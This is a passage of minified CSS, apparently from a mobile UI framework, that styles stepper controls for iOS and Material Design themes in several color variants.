.stepper-button-plus:before{background-color:#8e8e93}.ios .stepper.color-gray .stepper-input-wrap,.ios .stepper.color-gray .stepper-value{border-top-color:#8e8e93;border-bottom-color:#8e8e93}.ios .stepper.color-gray .stepper-value{color:#8e8e93}.ios .stepper.color-gray .stepper-input-wrap input{color:#8e8e93}.ios .stepper.color-gray.stepper-fill .stepper-button,.ios .stepper.color-gray.stepper-fill .stepper-button-minus,.ios .stepper.color-gray.stepper-fill .stepper-button-plus,.ios .stepper.color-gray.stepper-fill-ios .stepper-button,.ios .stepper.color-gray.stepper-fill-ios .stepper-button-minus,.ios .stepper.color-gray.stepper-fill-ios .stepper-button-plus{background-color:#8e8e93}.ios .stepper.color-gray.stepper-fill .stepper-button-minus:after,.ios .stepper.color-gray.stepper-fill .stepper-button-minus:before,.ios .stepper.color-gray.stepper-fill .stepper-button-plus:after,.ios .stepper.color-gray.stepper-fill .stepper-button-plus:before,.ios .stepper.color-gray.stepper-fill-ios .stepper-button-minus:after,.ios .stepper.color-gray.stepper-fill-ios .stepper-button-minus:before,.ios .stepper.color-gray.stepper-fill-ios .stepper-button-plus:after,.ios .stepper.color-gray.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .stepper.color-gray.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-gray.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-gray.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .stepper.color-gray.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-gray.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-gray.stepper-small.stepper-fill .stepper-button.active-state{color:#8e8e93;border-color:#8e8e93;background-color:transparent}.ios .stepper.color-gray.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-gray.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-gray.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-gray.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .stepper.color-gray.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-gray.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-gray.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-gray.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#8e8e93}.ios .stepper.color-white .stepper-button,.ios .stepper.color-white .stepper-button-minus,.ios .stepper.color-white .stepper-button-plus{border-color:#fff;color:#fff}.ios .stepper.color-white .stepper-button-minus.active-state,.ios .stepper.color-white .stepper-button-plus.active-state,.ios .stepper.color-white .stepper-button.active-state{background-color:rgba(255,255,255,.15)}.ios .stepper.color-white .stepper-button-minus:after,.ios .stepper.color-white .stepper-button-minus:before,.ios .stepper.color-white .stepper-button-plus:after,.ios .stepper.color-white .stepper-button-plus:before{background-color:#fff}.ios .stepper.color-white .stepper-input-wrap,.ios .stepper.color-white .stepper-value{border-top-color:#fff;border-bottom-color:#fff}.ios .stepper.color-white .stepper-value{color:#fff}.ios .stepper.color-white .stepper-input-wrap input{color:#fff}.ios .stepper.color-white.stepper-fill .stepper-button,.ios .stepper.color-white.stepper-fill .stepper-button-minus,.ios .stepper.color-white.stepper-fill .stepper-button-plus,.ios .stepper.color-white.stepper-fill-ios .stepper-button,.ios .stepper.color-white.stepper-fill-ios .stepper-button-minus,.ios .stepper.color-white.stepper-fill-ios .stepper-button-plus{background-color:#fff}.ios .stepper.color-white.stepper-fill .stepper-button-minus:after,.ios .stepper.color-white.stepper-fill .stepper-button-minus:before,.ios .stepper.color-white.stepper-fill .stepper-button-plus:after,.ios .stepper.color-white.stepper-fill .stepper-button-plus:before,.ios .stepper.color-white.stepper-fill-ios .stepper-button-minus:after,.ios .stepper.color-white.stepper-fill-ios .stepper-button-minus:before,.ios .stepper.color-white.stepper-fill-ios .stepper-button-plus:after,.ios .stepper.color-white.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .stepper.color-white.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-white.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-white.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .stepper.color-white.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-white.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-white.stepper-small.stepper-fill .stepper-button.active-state{color:#fff;border-color:#fff;background-color:transparent}.ios .stepper.color-white.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-white.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-white.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-white.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .stepper.color-white.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-white.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-white.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-white.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#fff}.ios .stepper.color-black .stepper-button,.ios .stepper.color-black .stepper-button-minus,.ios .stepper.color-black .stepper-button-plus{border-color:#000;color:#000}.ios .stepper.color-black .stepper-button-minus.active-state,.ios .stepper.color-black .stepper-button-plus.active-state,.ios .stepper.color-black .stepper-button.active-state{background-color:rgba(0,0,0,.15)}.ios .stepper.color-black .stepper-button-minus:after,.ios .stepper.color-black .stepper-button-minus:before,.ios .stepper.color-black .stepper-button-plus:after,.ios .stepper.color-black .stepper-button-plus:before{background-color:#000}.ios .stepper.color-black .stepper-input-wrap,.ios .stepper.color-black .stepper-value{border-top-color:#000;border-bottom-color:#000}.ios .stepper.color-black .stepper-value{color:#000}.ios .stepper.color-black .stepper-input-wrap input{color:#000}.ios .stepper.color-black.stepper-fill .stepper-button,.ios .stepper.color-black.stepper-fill .stepper-button-minus,.ios .stepper.color-black.stepper-fill .stepper-button-plus,.ios .stepper.color-black.stepper-fill-ios .stepper-button,.ios .stepper.color-black.stepper-fill-ios .stepper-button-minus,.ios .stepper.color-black.stepper-fill-ios .stepper-button-plus{background-color:#000}.ios .stepper.color-black.stepper-fill .stepper-button-minus:after,.ios .stepper.color-black.stepper-fill .stepper-button-minus:before,.ios .stepper.color-black.stepper-fill .stepper-button-plus:after,.ios .stepper.color-black.stepper-fill .stepper-button-plus:before,.ios .stepper.color-black.stepper-fill-ios .stepper-button-minus:after,.ios .stepper.color-black.stepper-fill-ios .stepper-button-minus:before,.ios .stepper.color-black.stepper-fill-ios .stepper-button-plus:after,.ios .stepper.color-black.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .stepper.color-black.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-black.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-black.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .stepper.color-black.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-black.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-black.stepper-small.stepper-fill .stepper-button.active-state{color:#000;border-color:#000;background-color:transparent}.ios .stepper.color-black.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-black.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-black.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-black.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .stepper.color-black.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-black.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-black.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-black.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#000}.md .stepper{height:36px}.md .stepper-button,.md .stepper-button-minus,.md .stepper-button-plus{border:2px solid #2196f3;color:#2196f3;line-height:34px;height:36px;width:40px;-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);overflow:hidden}.md .stepper-button+.stepper-button,.md .stepper-button+.stepper-button-minus,.md .stepper-button+.stepper-button-plus,.md .stepper-button-minus+.stepper-button,.md .stepper-button-minus+.stepper-button-minus,.md .stepper-button-minus+.stepper-button-plus,.md .stepper-button-plus+.stepper-button,.md .stepper-button-plus+.stepper-button-minus,.md .stepper-button-plus+.stepper-button-plus{border-left:none}.md .stepper-button-minus.active-state,.md .stepper-button-plus.active-state,.md .stepper-button.active-state{background:rgba(0,0,0,.1)}.md .stepper-button-minus:first-child,.md .stepper-button-plus:first-child,.md .stepper-button:first-child{border-radius:4px 0 0 4px}.md .stepper-button-minus:last-child,.md .stepper-button-plus:last-child,.md .stepper-button:last-child{border-radius:0 4px 4px 0}.md .stepper-button-minus:after,.md .stepper-button-minus:before,.md .stepper-button-plus:after,.md .stepper-button-plus:before{background:#2196f3}.md .stepper-input-wrap,.md .stepper-value{border-top:2px solid #2196f3;border-bottom:2px solid #2196f3}.md .stepper .stepper-input-wrap input,.md .stepper .stepper-value{color:#2196f3;font-size:14px;font-weight:500;text-align:center}.md .stepper .stepper-input-wrap input{height:100%}.md .stepper-fill .stepper-button,.md .stepper-fill .stepper-button-minus,.md .stepper-fill .stepper-button-plus,.md .stepper-fill-md .stepper-button,.md .stepper-fill-md .stepper-button-minus,.md .stepper-fill-md .stepper-button-plus{background-color:#2196f3;color:#fff;border:none;line-height:36px}.md .stepper-fill .stepper-button-minus.active-state,.md .stepper-fill .stepper-button-plus.active-state,.md .stepper-fill .stepper-button.active-state,.md .stepper-fill-md .stepper-button-minus.active-state,.md .stepper-fill-md .stepper-button-plus.active-state,.md .stepper-fill-md .stepper-button.active-state{background:#0c82df}.md .stepper-fill .stepper-button-minus:after,.md .stepper-fill .stepper-button-minus:before,.md .stepper-fill .stepper-button-plus:after,.md .stepper-fill .stepper-button-plus:before,.md .stepper-fill .stepper-button:after,.md .stepper-fill .stepper-button:before,.md .stepper-fill-md .stepper-button-minus:after,.md .stepper-fill-md .stepper-button-minus:before,.md .stepper-fill-md .stepper-button-plus:after,.md .stepper-fill-md .stepper-button-plus:before,.md .stepper-fill-md .stepper-button:after,.md .stepper-fill-md .stepper-button:before{background:#fff}.md .stepper-fill .stepper-button+.stepper-button,.md .stepper-fill .stepper-button-minus+.stepper-button-plus,.md .stepper-fill-md .stepper-button+.stepper-button,.md .stepper-fill-md .stepper-button-minus+.stepper-button-plus{border-left:1px solid rgba(0,0,0,.1)}.md .stepper-fill-md.stepper-big .stepper-button,.md .stepper-fill-md.stepper-big .stepper-button-minus,.md .stepper-fill-md.stepper-big .stepper-button-plus,.md .stepper-fill-md.stepper-big-md .stepper-button,.md .stepper-fill-md.stepper-big-md .stepper-button-minus,.md .stepper-fill-md.stepper-big-md .stepper-button-plus,.md .stepper-fill.stepper-big .stepper-button,.md .stepper-fill.stepper-big .stepper-button-minus,.md .stepper-fill.stepper-big .stepper-button-plus,.md .stepper-fill.stepper-big-md .stepper-button,.md .stepper-fill.stepper-big-md .stepper-button-minus,.md .stepper-fill.stepper-big-md .stepper-button-plus{line-height:48px}.md .stepper-fill-md.stepper-small .stepper-button,.md .stepper-fill-md.stepper-small .stepper-button-minus,.md .stepper-fill-md.stepper-small .stepper-button-plus,.md .stepper-fill-md.stepper-small-md .stepper-button,.md .stepper-fill-md.stepper-small-md .stepper-button-minus,.md .stepper-fill-md.stepper-small-md .stepper-button-plus,.md .stepper-fill.stepper-small .stepper-button,.md .stepper-fill.stepper-small .stepper-button-minus,.md .stepper-fill.stepper-small .stepper-button-plus,.md .stepper-fill.stepper-small-md .stepper-button,.md .stepper-fill.stepper-small-md .stepper-button-minus,.md .stepper-fill.stepper-small-md .stepper-button-plus{line-height:28px}.md .stepper-small,.md .stepper-small-md{height:28px}.md .stepper-small .stepper-button,.md .stepper-small .stepper-button-minus,.md .stepper-small .stepper-button-plus,.md .stepper-small-md .stepper-button,.md .stepper-small-md .stepper-button-minus,.md .stepper-small-md .stepper-button-plus{height:28px;line-height:24px}.md .stepper-small .stepper-button,.md .stepper-small .stepper-button-minus,.md .stepper-small .stepper-button-plus,.md .stepper-small .stepper-input-wrap,.md .stepper-small .stepper-value,.md .stepper-small-md .stepper-button,.md .stepper-small-md .stepper-button-minus,.md .stepper-small-md .stepper-button-plus,.md .stepper-small-md .stepper-input-wrap,.md .stepper-small-md .stepper-value{border-width:2px}.md .stepper-big,.md .stepper-big-md{height:48px}.md .stepper-big .stepper-button,.md .stepper-big .stepper-button-minus,.md .stepper-big .stepper-button-plus,.md .stepper-big-md .stepper-button,.md .stepper-big-md .stepper-button-minus,.md .stepper-big-md .stepper-button-plus{height:48px;line-height:46px}.md .stepper-big .stepper-button-minus:first-child,.md .stepper-big .stepper-button-plus:first-child,.md .stepper-big .stepper-button:first-child,.md .stepper-big-md .stepper-button-minus:first-child,.md .stepper-big-md .stepper-button-plus:first-child,.md .stepper-big-md .stepper-button:first-child{border-radius:4px 0 0 4px}.md .stepper-big .stepper-button-minus:last-child,.md .stepper-big .stepper-button-plus:last-child,.md .stepper-big .stepper-button:last-child,.md .stepper-big-md .stepper-button-minus:last-child,.md .stepper-big-md .stepper-button-plus:last-child,.md .stepper-big-md .stepper-button:last-child{border-radius:0 4px 4px 0}.md .stepper-round .stepper-button-minus:first-child,.md .stepper-round .stepper-button-plus:first-child,.md .stepper-round .stepper-button:first-child,.md .stepper-round-md .stepper-button-minus:first-child,.md .stepper-round-md .stepper-button-plus:first-child,.md .stepper-round-md .stepper-button:first-child{border-radius:36px 0 0 36px}.md .stepper-round .stepper-button-minus:last-child,.md .stepper-round .stepper-button-plus:last-child,.md .stepper-round .stepper-button:last-child,.md .stepper-round-md .stepper-button-minus:last-child,.md .stepper-round-md .stepper-button-plus:last-child,.md .stepper-round-md .stepper-button:last-child{border-radius:0 36px 36px 0}.md .stepper-raised{-webkit-box-shadow:0 1px 3px rgba(0,0,0,.12),0 1px 2px rgba(0,0,0,.24);box-shadow:0 1px 3px rgba(0,0,0,.12),0 1px 2px rgba(0,0,0,.24);border-radius:4px}.md .stepper-raised.stepper-big,.md .stepper-raised.stepper-big-md{border-radius:4px}.md .stepper-raised.stepper-round,.md .stepper-raised.stepper-round-md{border-radius:36px}.md .stepper-raised .stepper-input-wrap,.md .stepper-raised .stepper-value{border:none}.md .stepper-raised:not(.stepper-fill):not(.stepper-fill-md) .stepper-input-wrap,.md .stepper-raised:not(.stepper-fill):not(.stepper-fill-md) .stepper-value{border-left:1px solid rgba(0,0,0,.1);border-right:1px solid rgba(0,0,0,.1)}.md .stepper-raised .stepper-button,.md .stepper-raised .stepper-button-minus,.md .stepper-raised .stepper-button-plus{border:none}.md .stepper-raised .stepper-button+.stepper-button,.md .stepper-raised .stepper-button-minus+.stepper-button-plus{border-left:1px solid rgba(0,0,0,.1)}.md .color-theme-red .stepper-button,.md .color-theme-red .stepper-button-minus,.md .color-theme-red .stepper-button-plus{border-color:#f44336;color:#f44336}.md .color-theme-red .stepper-button-minus:after,.md .color-theme-red .stepper-button-minus:before,.md .color-theme-red .stepper-button-plus:after,.md .color-theme-red .stepper-button-plus:before{background:#f44336}.md .color-theme-red .stepper-input-wrap,.md .color-theme-red .stepper-value{border-top-color:#f44336;border-bottom-color:#f44336}.md .color-theme-red .stepper-value{color:#f44336}.md .color-theme-red .stepper .stepper-input-wrap input{color:#f44336}.md .color-theme-red .stepper-fill .stepper-button,.md .color-theme-red .stepper-fill .stepper-button-minus,.md .color-theme-red .stepper-fill .stepper-button-plus,.md .color-theme-red .stepper-fill-md .stepper-button,.md .color-theme-red .stepper-fill-md .stepper-button-minus,.md .color-theme-red .stepper-fill-md .stepper-button-plus{background-color:#f44336;color:#fff}.md .color-theme-red .stepper-fill .stepper-button-minus.active-state,.md .color-theme-red .stepper-fill .stepper-button-plus.active-state,.md .color-theme-red .stepper-fill .stepper-button.active-state,.md .color-theme-red .stepper-fill-md .stepper-button-minus.active-state,.md .color-theme-red .stepper-fill-md .stepper-button-plus.active-state,.md .color-theme-red .stepper-fill-md .stepper-button.active-state{background:#f21f0f}.md .color-theme-red .stepper-fill .stepper-button-minus:after,.md .color-theme-red .stepper-fill .stepper-button-minus:before,.md .color-theme-red .stepper-fill .stepper-button-plus:after,.md .color-theme-red .stepper-fill .stepper-button-plus:before,.md .color-theme-red .stepper-fill .stepper-button:after,.md .color-theme-red .stepper-fill .stepper-button:before,.md .color-theme-red .stepper-fill-md .stepper-button-minus:after,.md .color-theme-red .stepper-fill-md .stepper-button-minus:before,.md .color-theme-red .stepper-fill-md .stepper-button-plus:after,.md .color-theme-red .stepper-fill-md .stepper-button-plus:before,.md .color-theme-red .stepper-fill-md .stepper-button:after,.md .color-theme-red .stepper-fill-md .stepper-button:before{background:#fff}.md .color-theme-green .stepper-button,.md .color-theme-green .stepper-button-minus,.md .color-theme-green .stepper-button-plus{border-color:#4caf50;color:#4caf50}.md .color-theme-green .stepper-button-minus:after,.md .color-theme-green .stepper-button-minus:before,.md .color-theme-green .stepper-button-plus:after,.md .color-theme-green .stepper-button-plus:before{background:#4caf50}.md .color-theme-green .stepper-input-wrap,.md .color-theme-green .stepper-value{border-top-color:#4caf50;border-bottom-color:#4caf50}.md .color-theme-green .stepper-value{color:#4caf50}.md .color-theme-green .stepper .stepper-input-wrap input{color:#4caf50}.md .color-theme-green .stepper-fill .stepper-button,.md .color-theme-green .stepper-fill .stepper-button-minus,.md .color-theme-green .stepper-fill .stepper-button-plus,.md .color-theme-green .stepper-fill-md .stepper-button,.md .color-theme-green .stepper-fill-md .stepper-button-minus,.md .color-theme-green .stepper-fill-md .stepper-button-plus{background-color:#4caf50;color:#fff}.md .color-theme-green .stepper-fill .stepper-button-minus.active-state,.md .color-theme-green .stepper-fill .stepper-button-plus.active-state,.md .color-theme-green .stepper-fill .stepper-button.active-state,.md .color-theme-green .stepper-fill-md .stepper-button-minus.active-state,.md .color-theme-green .stepper-fill-md .stepper-button-plus.active-state,.md .color-theme-green .stepper-fill-md .stepper-button.active-state{background:#409343}.md .color-theme-green .stepper-fill .stepper-button-minus:after,.md .color-theme-green .stepper-fill .stepper-button-minus:before,.md .color-theme-green .stepper-fill .stepper-button-plus:after,.md .color-theme-green .stepper-fill .stepper-button-plus:before,.md .color-theme-green .stepper-fill .stepper-button:after,.md .color-theme-green .stepper-fill .stepper-button:before,.md .color-theme-green .stepper-fill-md .stepper-button-minus:after,.md .color-theme-green .stepper-fill-md .stepper-button-minus:before,.md .color-theme-green .stepper-fill-md .stepper-button-plus:after,.md .color-theme-green .stepper-fill-md .stepper-button-plus:before,.md .color-theme-green .stepper-fill-md .stepper-button:after,.md .color-theme-green .stepper-fill-md .stepper-button:before{background:#fff}.md .color-theme-blue .stepper-button,.md .color-theme-blue .stepper-button-minus,.md .color-theme-blue .stepper-button-plus{border-color:#2196f3;color:#2196f3}.md .color-theme-blue .stepper-button-minus:after,.md .color-theme-blue .stepper-button-minus:before,.md .color-theme-blue .stepper-button-plus:after,.md .color-theme-blue .stepper-button-plus:before{background:#2196f3}.md .color-theme-blue .stepper-input-wrap,.md .color-theme-blue .stepper-value{border-top-color:#2196f3;border-bottom-color:#2196f3}.md .color-theme-blue .stepper-value{color:#2196f3}.md .color-theme-blue .stepper .stepper-input-wrap input{color:#2196f3}.md .color-theme-blue .stepper-fill .stepper-button,.md .color-theme-blue .stepper-fill .stepper-button-minus,.md .color-theme-blue .stepper-fill .stepper-button-plus,.md .color-theme-blue .stepper-fill-md .stepper-button,.md .color-theme-blue .stepper-fill-md .stepper-button-minus,.md .color-theme-blue .stepper-fill-md .stepper-button-plus{background-color:#2196f3;color:#fff}.md .color-theme-blue .stepper-fill .stepper-button-minus.active-state,.md .color-theme-blue .stepper-fill .stepper-button-plus.active-state,.md .color-theme-blue .stepper-fill .stepper-button.active-state,.md .color-theme-blue .stepper-fill-md .stepper-button-minus.active-state,.md .color-theme-blue .stepper-fill-md .stepper-button-plus.active-state,.md .color-theme-blue .stepper-fill-md .stepper-button.active-state{background:#0c82df}.md .color-theme-blue .stepper-fill .stepper-button-minus:after,.md .color-theme-blue .stepper-fill .stepper-button-minus:before,.md .color-theme-blue .stepper-fill .stepper-button-plus:after,.md .color-theme-blue .stepper-fill .stepper-button-plus:before,.md .color-theme-blue .stepper-fill .stepper-button:after,.md .color-theme-blue .stepper-fill .stepper-button:before,.md .color-theme-blue .stepper-fill-md .stepper-button-minus:after,.md .color-theme-blue .stepper-fill-md .stepper-button-minus:before,.md .color-theme-blue .stepper-fill-md .stepper-button-plus:after,.md .color-theme-blue .stepper-fill-md .stepper-button-plus:before,.md .color-theme-blue .stepper-fill-md .stepper-button:after,.md .color-theme-blue .stepper-fill-md .stepper-button:before{background:#fff}.md .color-theme-pink .stepper-button,.md .color-theme-pink .stepper-button-minus,.md .color-theme-pink .stepper-button-plus{border-color:#e91e63;color:#e91e63}.md .color-theme-pink .stepper-button-minus:after,.md .color-theme-pink .stepper-button-minus:before,.md .color-theme-pink .stepper-button-plus:after,.md .color-theme-pink .stepper-button-plus:before{background:#e91e63}.md .color-theme-pink .stepper-input-wrap,.md .color-theme-pink .stepper-value{border-top-color:#e91e63;border-bottom-color:#e91e63}.md .color-theme-pink .stepper-value{color:#e91e63}.md .color-theme-pink .stepper .stepper-input-wrap input{color:#e91e63}.md .color-theme-pink .stepper-fill .stepper-button,.md .color-theme-pink .stepper-fill .stepper-button-minus,.md .color-theme-pink .stepper-fill .stepper-button-plus,.md .color-theme-pink .stepper-fill-md .stepper-button,.md .color-theme-pink .stepper-fill-md .stepper-button-minus,.md .color-theme-pink .stepper-fill-md .stepper-button-plus{background-color:#e91e63;color:#fff}.md .color-theme-pink .stepper-fill .stepper-button-minus.active-state,.md .color-theme-pink .stepper-fill .stepper-button-plus.active-state,.md .color-theme-pink .stepper-fill .stepper-button.active-state,.md .color-theme-pink .stepper-fill-md .stepper-button-minus.active-state,.md .color-theme-pink .stepper-fill-md .stepper-button-plus.active-state,.md .color-theme-pink .stepper-fill-md .stepper-button.active-state{background:#ca1452}.md .color-theme-pink .stepper-fill .stepper-button-minus:after,.md .color-theme-pink .stepper-fill .stepper-button-minus:before,.md .color-theme-pink .stepper-fill .stepper-button-plus:after,.md .color-theme-pink .stepper-fill .stepper-button-plus:before,.md .color-theme-pink .stepper-fill .stepper-button:after,.md .color-theme-pink .stepper-fill .stepper-button:before,.md .color-theme-pink .stepper-fill-md .stepper-button-minus:after,.md .color-theme-pink .stepper-fill-md .stepper-button-minus:before,.md .color-theme-pink .stepper-fill-md .stepper-button-plus:after,.md .color-theme-pink .stepper-fill-md .stepper-button-plus:before,.md .color-theme-pink .stepper-fill-md .stepper-button:after,.md .color-theme-pink .stepper-fill-md .stepper-button:before{background:#fff}.md .color-theme-yellow .stepper-button,.md .color-theme-yellow .stepper-button-minus,.md .color-theme-yellow .stepper-button-plus{border-color:#ffeb3b;color:#ffeb3b}.md .color-theme-yellow .stepper-button-minus:after,.md .color-theme-yellow .stepper-button-minus:before,.md .color-theme-yellow .stepper-button-plus:after,.md .color-theme-yellow .stepper-button-plus:before{background:#ffeb3b}.md .color-theme-yellow .stepper-input-wrap,.md .color-theme-yellow .stepper-value{border-top-color:#ffeb3b;border-bottom-color:#ffeb3b}.md .color-theme-yellow .stepper-value{color:#ffeb3b}.md .color-theme-yellow .stepper .stepper-input-wrap input{color:#ffeb3b}.md .color-theme-yellow .stepper-fill .stepper-button,.md .color-theme-yellow .stepper-fill .stepper-button-minus,.md .color-theme-yellow .stepper-fill .stepper-button-plus,.md .color-theme-yellow .stepper-fill-md .stepper-button,.md .color-theme-yellow .stepper-fill-md .stepper-button-minus,.md .color-theme-yellow .stepper-fill-md .stepper-button-plus{background-color:#ffeb3b;color:#fff}.md .color-theme-yellow .stepper-fill .stepper-button-minus.active-state,.md .color-theme-yellow .stepper-fill .stepper-button-plus.active-state,.md .color-theme-yellow .stepper-fill .stepper-button.active-state,.md .color-theme-yellow .stepper-fill-md .stepper-button-minus.active-state,.md .color-theme-yellow .stepper-fill-md .stepper-button-plus.active-state,.md .color-theme-yellow .stepper-fill-md .stepper-button.active-state{background:#ffe712}.md .color-theme-yellow .stepper-fill .stepper-button-minus:after,.md .color-theme-yellow .stepper-fill .stepper-button-minus:before,.md .color-theme-yellow .stepper-fill .stepper-button-plus:after,.md .color-theme-yellow .stepper-fill .stepper-button-plus:before,.md .color-theme-yellow .stepper-fill .stepper-button:after,.md .color-theme-yellow .stepper-fill .stepper-button:before,.md .color-theme-yellow .stepper-fill-md .stepper-button-minus:after,.md .color-theme-yellow .stepper-fill-md .stepper-button-minus:before,.md .color-theme-yellow .stepper-fill-md .stepper-button-plus:after,.md .color-theme-yellow .stepper-fill-md .stepper-button-plus:before,.md .color-theme-yellow .stepper-fill-md .stepper-button:after,.md .color-theme-yellow .stepper-fill-md .stepper-button:before{background:#fff}.md .color-theme-orange .stepper-button,.md .color-theme-orange .stepper-button-minus,.md .color-theme-orange .stepper-button-plus{border-color:#ff9800;color:#ff9800}.md .color-theme-orange .stepper-button-minus:after,.md .color-theme-orange .stepper-button-minus:before,.md .color-theme-orange .stepper-button-plus:after,.md .color-theme-orange .stepper-button-plus:before{background:#ff9800}.md .color-theme-orange .stepper-input-wrap,.md .color-theme-orange .stepper-value{border-top-color:#ff9800;border-bottom-color:#ff9800}.md .color-theme-orange .stepper-value{color:#ff9800}.md .color-theme-orange .stepper .stepper-input-wrap input{color:#ff9800}.md .color-theme-orange .stepper-fill .stepper-button,.md .color-theme-orange .stepper-fill .stepper-button-minus,.md .color-theme-orange .stepper-fill .stepper-button-plus,.md .color-theme-orange .stepper-fill-md .stepper-button,.md .color-theme-orange .stepper-fill-md .stepper-button-minus,.md .color-theme-orange .stepper-fill-md .stepper-button-plus{background-color:#ff9800;color:#fff}.md .color-theme-orange .stepper-fill .stepper-button-minus.active-state,.md .color-theme-orange .stepper-fill .stepper-button-plus.active-state,.md .color-theme-orange .stepper-fill .stepper-button.active-state,.md .color-theme-orange .stepper-fill-md .stepper-button-minus.active-state,.md .color-theme-orange .stepper-fill-md .stepper-button-plus.active-state,.md .color-theme-orange .stepper-fill-md .stepper-button.active-state{background:#d68000}.md .color-theme-orange .stepper-fill .stepper-button-minus:after,.md .color-theme-orange .stepper-fill .stepper-button-minus:before,.md .color-theme-orange .stepper-fill .stepper-button-plus:after,.md .color-theme-orange .stepper-fill .stepper-button-plus:before,.md .color-theme-orange .stepper-fill .stepper-button:after,.md .color-theme-orange .stepper-fill .stepper-button:before,.md .color-theme-orange .stepper-fill-md .stepper-button-minus:after,.md .color-theme-orange .stepper-fill-md .stepper-button-minus:before,.md .color-theme-orange .stepper-fill-md .stepper-button-plus:after,.md .color-theme-orange .stepper-fill-md .stepper-button-plus:before,.md .color-theme-orange .stepper-fill-md .stepper-button:after,.md .color-theme-orange .stepper-fill-md .stepper-button:before{background:#fff}.md .color-theme-gray .stepper-button,.md .color-theme-gray .stepper-button-minus,.md .color-theme-gray .stepper-button-plus{border-color:#9e9e9e;color:#9e9e9e}.md .color-theme-gray .stepper-button-minus:after,.md .color-theme-gray .stepper-button-minus:before,.md .color-theme-gray .stepper-button-plus:after,.md .color-theme-gray .stepper-button-plus:before{background:#9e9e9e}.md .color-theme-gray .stepper-input-wrap,.md .color-theme-gray .stepper-value{border-top-color:#9e9e9e;border-bottom-color:#9e9e9e}.md .color-theme-gray .stepper-value{color:#9e9e9e}.md .color-theme-gray .stepper .stepper-input-wrap input{color:#9e9e9e}.md .color-theme-gray .stepper-fill .stepper-button,.md .color-theme-gray .stepper-fill .stepper-button-minus,.md .color-theme-gray .stepper-fill .stepper-button-plus,.md .color-theme-gray .stepper-fill-md .stepper-button,.md .color-theme-gray .stepper-fill-md .stepper-button-minus,.md .color-theme-gray .stepper-fill-md .stepper-button-plus{background-color:#9e9e9e;color:#fff}.md .color-theme-gray .stepper-fill .stepper-button-minus.active-state,.md .color-theme-gray .stepper-fill .stepper-button-plus.active-state,.md .color-theme-gray .stepper-fill .stepper-button.active-state,.md .color-theme-gray .stepper-fill-md .stepper-button-minus.active-state,.md .color-theme-gray .stepper-fill-md .stepper-button-plus.active-state,.md .color-theme-gray .stepper-fill-md .stepper-button.active-state{background:#8a8a8a}.md .color-theme-gray .stepper-fill .stepper-button-minus:after,.md .color-theme-gray .stepper-fill .stepper-button-minus:before,.md .color-theme-gray .stepper-fill .stepper-button-plus:after,.md .color-theme-gray .stepper-fill .stepper-button-plus:before,.md .color-theme-gray .stepper-fill .stepper-button:after,.md .color-theme-gray .stepper-fill .stepper-button:before,.md .color-theme-gray .stepper-fill-md .stepper-button-minus:after,.md .color-theme-gray .stepper-fill-md .stepper-button-minus:before,.md .color-theme-gray .stepper-fill-md .stepper-button-plus:after,.md .color-theme-gray .stepper-fill-md .stepper-button-plus:before,.md .color-theme-gray .stepper-fill-md .stepper-button:after,.md .color-theme-gray .stepper-fill-md .stepper-button:before{background:#fff}.md .color-theme-white .stepper-button,.md .color-theme-white .stepper-button-minus,.md .color-theme-white .stepper-button-plus{border-color:#fff;color:#fff}.md .color-theme-white .stepper-button-minus:after,.md .color-theme-white .stepper-button-minus:before,.md .color-theme-white .stepper-button-plus:after,.md .color-theme-white .stepper-button-plus:before{background:#fff}.md .color-theme-white .stepper-input-wrap,.md .color-theme-white .stepper-value{border-top-color:#fff;border-bottom-color:#fff}.md .color-theme-white .stepper-value{color:#fff}.md 